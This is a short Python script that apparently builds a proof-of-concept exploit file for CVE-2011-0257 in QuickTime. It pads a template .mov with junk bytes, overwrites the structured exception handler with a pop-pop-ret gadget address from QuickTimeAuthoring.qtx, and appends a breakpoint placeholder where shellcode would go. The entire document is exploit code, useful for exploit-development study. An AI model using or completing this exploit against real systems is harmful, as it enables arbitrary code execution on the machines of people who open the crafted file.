#!/usr/bin/env python
import struct

template = None
with open('CVE-2011-0257_template.mov', 'rb') as fd:
    template = fd.read()

junk = 'A' * 2302
# x86 jmp 0x6
nseh = struct.pack('<L', 0x909006EB)
# pop esi # pop edi # ret  | [QuickTimeAuthoring.qtx]
seh = struct.pack('<L', 0x677a321b)
payload = struct.pack('<L', 0xCCCCCCCC)
xpl = template + junk + nseh + seh + payload

with open('xpl-4.mov', 'wb') as fd:
    fd.write(xpl)


